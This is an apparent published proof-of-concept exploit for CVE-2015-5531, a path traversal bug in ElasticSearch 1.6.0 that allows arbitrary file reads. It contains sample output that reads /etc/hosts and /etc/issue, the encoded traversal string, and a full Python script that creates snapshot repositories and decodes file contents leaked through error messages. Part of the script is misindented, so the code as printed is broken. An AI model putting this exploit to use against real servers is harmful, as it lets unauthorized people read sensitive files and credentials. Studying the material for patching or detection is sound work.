ElasticSearch 1.6.0 - Arbitrary File Download

# elasticpwn Script for ElasticSearch url path traversal vuln. CVE-2015-5531

```
[crg@fogheaven elasticpwn]$ python CVE-2015-5531.py exploitlab.int /etc/hosts
!dSR script for CVE-2015-5531

127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

The script requires path.repo to be set into elasticsearch.yml and be writeable by elasticsearch process.

In order to bypass the snapshot- prefix setted in the server side, we need to create a known relative path:

curl http://exploitlab.int:9200/_snapshot/?pretty

{
"pwn" : {
"type" : "fs",
"settings" : {
"location" : "dsr"
}
},
"pwnie" : {
"type" : "fs",
"settings" : {
"location" : "dsr/snapshot-ev1l"
}
}
}

We will use it later to access through path traversal url:

trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'

The file content it's represented as an array of ints, that needs to be translated into human readable:

crg@exploitlab:~$ python elk-5531.py localhost /etc/issue
!dSR script for CVE-2015-5531

{u'status': 400, u'error': u'ElasticsearchParseException[Failed to derive xcontent from (offset=0, length=26): [85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10]]'}

[85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10] = Ubuntu 12.04.5 LTS \n \l

There is also a path disclosure that could help exploiting in some scenarios:

crg@exploitlab:~$ python elk-5531.py localhost /etc/passwda
!dSR script for CVE-2015-5531

{"error":"SnapshotMissingException[[pwn:dsr/../../../../../../../../etc/passwda] is missing]; nested: FileNotFoundException[/var/tmp/dsr/snapshot-dsr/../../../../../../../../etc/passwda (No such file or directory)]; ","status":404}

```

#!/usr/bin/env python
# PoC for CVE-2015-5531 - Reported by Benjamin Smith
# Affects ElasticSearch 1.6.0 and prior
# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net
# Jose A. Guasch || twitter: @SecByDefault || jaguasch at gmail.com
# Tested on default Linux (.deb) install || requires path.repo: to be set on config file
 
import urllib, urllib2, json, sys, re
 
print "!dSR script for CVE-2015-5531\n"
if len(sys.argv) <> 3:
        print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]
        sys.exit()
 
host = sys.argv[1]
fpath = urllib.quote(sys.argv[2], safe='')
port = 9200
trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'
reponame = 'pwn'
baseurl = "http://%s:%s/_snapshot/" % (host, port)
xplurl = '%s%s/%s%s' % (baseurl, reponame, trav, fpath)
 
 
def createSnapdirs():
    try:
        url = "%s/%s" % (baseurl, reponame)
        request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr"}}')
        request.get_method = lambda: 'POST'
        urllib2.urlopen(request)
 
            url = "%s/%sie" % (baseurl, reponame)
            request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')
            request.get_method = lambda: 'POST'
            urllib2.urlopen(request)
    except urllib2.HTTPError, e:
                data = json.load(e)
        print "[!] ERROR: Verify path.repo exist in config file, elasticsearch.yml:\n"
        print str(data['error'])
        sys.exit()
 
 
def grabFile(xplurl):
    try:
        urllib2.urlopen(xplurl)
    except urllib2.HTTPError, e:
        data = json.load(e)
        extrdata = re.findall(r'\d+', str(data['error']))
        decoder = bytearray()
        for i in extrdata[+2:]:
            decoder.append(int(i))
        print decoder
 
 
def main():
    createSnapdirs()
    grabFile(xplurl)
 
 
if __name__ == "__main__":
    main()

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